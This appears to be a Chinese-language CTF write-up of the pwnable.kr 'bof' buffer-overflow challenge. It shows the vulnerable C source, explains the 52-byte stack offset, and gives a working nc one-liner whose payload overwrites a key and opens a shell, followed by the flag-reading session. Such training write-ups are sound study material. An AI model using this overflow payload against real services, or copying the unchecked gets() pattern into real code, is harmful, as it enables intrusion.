pwnable.kr bof
pwnable.kr bof
同样的,既然有源代码。我们就配合着源代码来做题,这样可能更利于搞懂高级语言被反汇编之后两者之间的联系。
bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){char overflowme[32];printf("overflow me : ");gets(overflowme); // smash me!if(key == 0xcafebabe){system("/bin/sh");}else{printf("Nah..\n");}
}
int main(int argc, char* argv[]){func(0xdeadbeef);return 0;
}
这是关于数组溢出的问题,导致这个问题的原因是由于 gets() 函数没有检查接受字符串长度导致的。有的编译器在编译源代码的时候也会提示警告。其实这个题目也是相当的简单,如果你了解栈机制的话。
我们要做的就是让输入的字符串的后面四个字节覆盖 key。其实我们要做的就是算出 overflow 数组的首地址到 key 首地址之间的距离。
gets(overflow) 是接受输入,当然是从 overflow 的首地址开始存储字节。前面的 esp (esp在汇编中为栈顶指针,栈中数据都是从栈顶进去的,所以你懂的…)存放的就是 overflow 的基址,为 ebp + s 其中 s = byte ptr - 2ch。然后 key 的基址当然要在 cmd 里面找,因为 if (key == 0x….) 所以 ebp + arg_0, 就是 key 的基址,其中 arg_0 = dword ptr 8。然后很简单的算出两者的距离为 52。所以我们在输入 0xcafebabe 之前需要填充 52 个字符。
解题:
$ (python -c "print 'a'*52 + '\xbe\xba\xfe\xca'"; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
*Flag:***daddy, I just pwned a buFFer :)
其实用 gdb 调试也是一样的,由于时间和精力问题,这里不继续下去,感兴趣的自己去尝试。
pwnable.kr bof相关推荐
- 每日一题pwnable.kr bof
需要我们计算我们输入的位置到a1位置需要填充多少字节.然后再给a1赋值即可getshell 疑问1. 怎么确定输入的位置到a1的距离? 我刚开始想这么干,直接用这个地址相减. 但是不行,这题是覆盖变量 ...
- pwnable.kr 简单题目详细笔记汇总
文章目录 fd collision bof flag passcode random input leg mistake shellshock coin1 lotto cmd1 cmd2 uaf bl ...
- 简单易懂的 pwnable.kr 第三题[bof]Writeupt
简单易懂的 pwnable.kr 第三题[bof]Writeupt 题目地址:http://pwnable.kr/play.php 点开题目发现: 他给了提示覆盖,并且给了两个网址.分别打开,第一个给 ...
- 【pwnable.kr】 alloca
https://www.anquanke.com/post/id/170288 前言 最近在刷pwnable.kr [Rookiss],题目都好有意思,一其中题alloca虽然分值不高,但分析过程很值 ...
- pwnable.kr之Toddler‘s Bottle前八题知识点记录
pwn刷题网站地址(点击直达): http://pwnable.kr/play.php 文章目录 第一题 fd 第二题:collision 1.首先是char和int数据类型的转换 2.python实 ...
- 【pwnable.kr】Toddler‘s Bottle-[bof]
目录导航 打开题目审题 nc 命令介绍 获取服务器文件 源代码分析 ELF分析构造payload 解题 打开题目审题 Nana told me that buffer overflow is one ...
- pwnable.kr lotto题解
ssh lotto@pwnable.kr -p2222 (pw:guest) 题目源码: #include <stdio.h> #include <stdlib.h> #inc ...
- 简单易懂的 pwnable.kr 第六题[random]Writeupt
简单易懂的 pwnable.kr 第六题[random]Writeupt 题目地址: http://pwnable.kr/play.php 题目: peak小知识 异或^ 据有如下几种性质: 2. 恒 ...
- 简单易懂的 pwnable.kr 第二题[collision]Writeupt
简单易懂的 pwnable.kr 第二题[collision]Writeupt 题目地址:http://pwnable.kr/play.php 题目如下: 和第一题一样,题目给了我们一个ssh远程登录 ...
最新文章
- weblogic管理1——创建 和 删除一个domain
- python pandas爬取网页成绩表格,计算各个类别学分
- jre环境变量配置_详解java环境变量意思-用于解决环境搭建问题
- aspects_具有Aspects的Java中的Mixin –用于Scala特性示例
- arcgis批量按掩膜提取栅格
- java web service简单示例
- 智能会议系统(7)---实时音视频技术难点及解决方案
- ios php tpbase64编码,iOS Base64编码
- 吴恩达|机器学习作业7.0.k-means聚类
- 转《针对不同版本的ie调用不同css样式》
- Ubuntu 14.04/16.04 (使用apt-get进行安装) 安装Docker
- matlab butter 低通,matlab butter 用法
- SQL的简单增、删、改
- 计算机小键盘的基本知识,电脑入门——第2章_计算机键盘操作基础概述.doc
- Latex排版论文——傻瓜式操作一晚排出毕业论文
- 2022年6月少儿编程等级测试来了
- Docker的学习与使用
- 02 ElasticSearch笔记
- 程序员副业赚钱之道,实现月收入增加20K
- “因遭勒索软件攻击,我被认定工作失职开除,并被老东家索赔 21.5 万元”
热门文章
- 分数用计算机咋弄手机,手机计算机分数怎么打
- android 去了按键,【联想手机】怎样去除android系统的虚拟按键
- Spark 源码分析之ShuffleMapTask内存数据Spill和合并
- 程序员都有一颗向往“文艺”的心?
- 《Cocos Creator游戏实战》关卡功能实现
- 渗透测试及一些网络安全类的讨论社区类的整理
- 华为数据之道-读书笔记4
- 陆奇看好的创业项目,16/22 个都由 AI 驱动
- 如何将区块链技术应用到物联网
- student(sid,sname,sage,ssex) 学生表course(cid,cname,tid) 课程表sc(sid,cid,score) 成绩表teacher(tid,Tnam